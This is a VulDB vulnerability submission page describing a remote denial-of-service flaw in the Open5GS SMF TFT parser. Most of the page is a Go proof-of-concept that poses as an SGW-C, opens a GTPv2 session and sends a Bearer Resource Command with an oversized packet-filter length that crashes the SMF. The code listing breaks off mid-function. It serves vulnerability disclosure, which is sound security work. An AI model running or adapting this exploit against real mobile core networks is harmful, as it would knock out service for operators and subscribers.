Soumettre #738332: Open5GS SMF v2.7.6 Denial of Serviceinformation

TitreOpen5GS SMF v2.7.6 Denial of Service
Description### Description SMF can be remotely crashed by sending a Bearer Resource Command on the S5-C interface that contains a malformed Traffic Aggregate Description (TAD) IE (TFT-encoded). By crafting a packet filter where pf[0].content.length is set to a very large value (e.g. 0xFF) while providing only a short amount of actual content bytes, SMF’s TFT parser (ogs_gtp2_parse_tft) iterates past the available buffer and hits an internal assertion: size+len+sizeof(tft->pf[i].content.component[j].type) <= octet->len This assertion failure aborts the SMF process, resulting in a remote denial of service. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "encoding/binary" "flag" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( // SMF/PGW-C address (target) smfIP = "10.44.44.4" smfPort = 2123 // Local SGW-C mock address (use real SGW-C IP after stopping it) localIP = "10.44.44.2" localPort = 2123 csRespTimeout = 10 * time.Second ignoreCause = false smfTEIDOverride = uint32(0) ) func main() { smfIPFlag := flag.String("smf-ip", smfIP, "SMF GTP-C address") smfPortFlag := flag.Int("smf-port", smfPort, "SMF GTP-C port") localIPFlag := flag.String("local-ip", localIP, "Local bind IP (use 'auto' to detect)") localPortFlag := flag.Int("local-port", localPort, "Local bind UDP port") timeoutFlag := flag.Duration("timeout", csRespTimeout, "CreateSessionResponse timeout") ignoreCauseFlag := flag.Bool("ignore-cause", ignoreCause, "Continue even if CreateSessionResponse is not accepted") smfTEIDFlag := flag.Uint("smf-teid", uint(smfTEIDOverride), "Override SMF S5C TEID for BearerResourceCommand (hex or dec)") flag.Parse() if flag.NArg() > 0 { *smfIPFlag = flag.Arg(0) } smfIP = *smfIPFlag smfPort = *smfPortFlag localIP = *localIPFlag localPort = *localPortFlag csRespTimeout = *timeoutFlag ignoreCause = *ignoreCauseFlag smfTEIDOverride = uint32(*smfTEIDFlag) log.Println("[*] Vuln-PA1-05/PA1-10 PoC: TFT Length Validation Failure") log.Println("[*] Target: SMF (ogs_gtp2_parse_tft in smf_s5c_handle_bearer_resource_command)") log.Println("[*] Location: lib/gtp/v2/types.c:286-450") log.Println() runSGWCMock() } func runSGWCMock() { // SMF address smfAddr := &net.UDPAddr{ IP: net.ParseIP(smfIP), Port: smfPort, } if smfAddr.IP == nil { log.Fatalf("[SGW-C] Invalid SMF IP: %q", smfIP) } var localAddr *net.UDPAddr if localIP != "" && localIP != "auto" { ip := net.ParseIP(localIP) if ip == nil { log.Fatalf("[SGW-C] Invalid local IP: %q", localIP) } localAddr = &net.UDPAddr{IP: ip, Port: localPort} } else { localAddr = &net.UDPAddr{Port: localPort} } conn, err := net.DialUDP("udp4", localAddr, smfAddr) if err != nil { log.Fatalf("[SGW-C] Failed to bind to %s:%d: %v", localIP, localPort, err) } defer conn.Close() actualLocal := conn.LocalAddr().(*net.UDPAddr) advertiseIP := localIP if advertiseIP == "" || advertiseIP == "auto" { advertiseIP = actualLocal.IP.String() } log.Printf("[SGW-C] Mock bound to %s (advertise %s)", actualLocal.String(), advertiseIP) // Step 1: Send CreateSessionRequest to establish session log.Println() log.Println("[*] Step 1: Sending CreateSessionRequest to SMF to establish session") csReq := buildCreateSessionRequest(advertiseIP) csReqBuf, err := csReq.Marshal() if err != nil { log.Fatalf("[SGW-C] Failed to marshal CreateSessionRequest: %v", err) } _, err = conn.Write(csReqBuf) if err != nil { log.Fatalf("[SGW-C] Failed to send CreateSessionRequest: %v", err) } log.Printf("[SGW-C] ✓ CreateSessionRequest sent (%d bytes)", len(csReqBuf)) // Wait for CreateSessionResponse buf := make([]byte, 4096) conn.SetReadDeadline(time.Now().Add(csRespTimeout)) n, err := conn.Read(buf) if err != nil { log.Fatalf("[SGW-C] Failed to receive CreateSessionResponse: %v", err) } log.Printf("[SGW-C] ✓ Received response (%d bytes)", n) // Parse response to get SMF TEID msg, err := message.Parse(buf[:n]) if err != nil { log.Fatalf("[SGW-C] Failed to parse response: %v", err) } csResp, ok := msg.(*message.CreateSessionResponse) if !ok { log.Fatalf("[SGW-C] Expected CreateSessionResponse, got %T", msg) } var smfTEID uint32 if smfTEIDOverride != 0 { smfTEID = smfTEIDOverride log.Printf("[SGW-C] ✓ Using overridden SMF S5 TEID: 0x%08x", smfTEID) } else if fteid := csResp.PGWS5S8FTEIDC; fteid != nil { teid, err := fteid.TEID() if err == nil { smfTEID = teid log.Printf("[SGW-C] ✓ SMF S5 TEID: 0x%08x", smfTEID) } } if smfTEID == 0 { log.Println("[SGW-C] Warning: Could not extract SMF TEID, using 1") log.Println("[SGW-C] Hint: provide -smf-teid if CreateSessionResponse doesn't include PGW S5 TEID") smfTEID = 1 } // Check cause if cause := csResp.Cause; cause != nil { causeVal, _ := cause.Cause() log.Printf("[SGW-C] ✓ Cause: %d", causeVal) if causeVal == gtpv2.CauseRemotePeerNotResponding { log.Println("[SGW-C] Hint: Cause 100 often means SMF has no Gx Diameter peer (PCRF down)") } if causeVal != gtpv2.CauseRequestAccepted && !ignoreCause { log.Fatalf("[SGW-C] Session creation failed with cause %d", causeVal) } } if ignoreCause { log.Println("[SGW-C] Warning: Continuing despite non-accepted cause (ignore-cause enabled)") } else { log.Println("[SGW-C] ✓ Session established successfully!") } // Wait a moment time.Sleep(500 * time.Millisecond) // Step 2: Send malicious BearerResourceCommand with malformed TAD (TFT) log.Println() log.Println("[*] Step 2: Sending malicious BearerResourceCommand") log.Println("[*] Vulnerability Details:") log.Println(" - Target: SMF S5C interface") log.Println(" - Handler: smf_s5c_handle_bearer_resource_command") log.Println(" - Parser: ogs_gtp2_parse_tft (lib/gtp/v2/types.c:286-450)") log.Println(" - Trigger: TAD IE with pf[0].content.length=255 (larger than actual data)") log.Println() brcmdBuf := buildMaliciousBearerResourceCommand(smfTEID) _, err = conn.Write(brcmdBuf) if err != nil { log.Fatalf("[SGW-C] Failed to send BearerResourceCommand: %v", err) } log.Printf("[SGW-C] ✓ Malicious BearerResourceCommand sent (%d bytes)", len(brcmdBuf)) log.Println() log.Println("[*] Expected Behavior:") log.Println(" 1. SMF receives BearerResourceCommand on S5C interface") log.Println(" 2. smf_s5c_handle_bearer_resource_command() validates IEs") log.Println(" 3. ogs_gtp2_parse_tft() parses TAD IE") log.Println(" 4. while(len < tft->pf[i].content.length) reads beyond buffer") log.Println(" 5. ogs_assert(size+len+sizeof(...) <= octet->len) FAILS") log.Println(" 6. SMF process crashes with assertion failure (SIGABRT)") log.Println() log.Println("[+] PoC execution completed!") log.Println("[*] Check SMF logs for crash evidence:") log.Println(" docker logs smf --tail 50") log.Println() // Wait for crash propagation time.Sleep(3 * time.Second) } func buildCreateSessionRequest(localAddrIP string) *message.CreateSessionRequest { // Build CreateSessionRequest to establish session with SMF return message.NewCreateSessionRequest( 0, // TEID (0 for initial request) 0, // Sequence // IMSI ie.NewIMSI("001010000000001"), // MSISDN ie.NewMSISDN("818000000001"), // MEI ie.NewMobileEquipmentIdentity("123456789012345"), // User Location Information (simplified) ie.NewUserLocationInformationStruct( nil, nil, nil, ie.NewTAI("001", "01", 0x0001), ie.NewECGI("001", "01", 0x00000001), nil, nil, nil, ), // Serving Network ie.NewServingNetwork("001", "01"), // RAT Type ie.NewRATType(gtpv2.RATTypeEUTRAN), // Sender F-TEID (SGW-C S5 control) ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8SGWGTPC, 0x12345678, localAddrIP, ""), // APN ie.NewAccessPointName("internet"), // Selection Mode ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), // PDN Type ie.NewPDNType(gtpv2.PDNTypeIPv4), // PDN Address Allocation ie.NewPDNAddressAllocation("x.x.x.x"), // APN Restriction ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction), // Aggregate Maximum Bit Rate ie.NewAggregateMaximumBitRate(100000000, 100000000), // Bearer Context to be created ie.NewBearerContext( ie.NewEPSBearerID(5), ie.NewBearerQoS(1, 2, 1, 0xff, 0, 0, 0, 0), // SGW S5 F-TEID for user plane ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8SGWGTPU, 0x22222222, localAddrIP, "").WithInstance(2), ), ) } func buildMaliciousBearerResourceCommand(teid uint32) []byte { // BearerResourceCommand message type is 68 const BearerResourceCommandType = 68 // Build IEs ies := []*ie.IE{ // Linked EPS Bearer ID (mandatory) ie.NewEPSBearerID(5), // Procedure Transaction ID (mandatory) ie.NewProcedureTransactionID(1), // Traffic Aggregate Description (TAD) - using TFT format (mandatory) // This is the malicious IE that triggers the vulnerability craftMaliciousTAD(), } // Manually construct the message seq := uint32(2) // Build header header := make([]byte, 12) header[0] = 0x48 // Version 2, T=1 header[1] = BearerResourceCommandType // Message type binary.BigEndian.PutUint16(header[2:4], 0) // Length (will be updated) binary.BigEndian.PutUint32(header[4:8], teid) // TEID header[8] = byte((seq >> 16) & 0xFF)
La source⚠️ https://github.com/open5gs/open5gs/issues/4281
Utilisateur
 LinZiyu (UID 94035)
Soumission14/01/2026 03:47 (il y a 3 mois)
Modérer14/02/2026 21:01 (1 month later)
StatutAccepté
Entrée VulDB346108 [Open5GS jusqu’à 2.7.6 SMF lib/gtp/v2/types.c ogs_gtp2_parse_tft pf[0].content.length déni de service]
Points20

Might our Artificial Intelligence support you?

Check our Alexa App!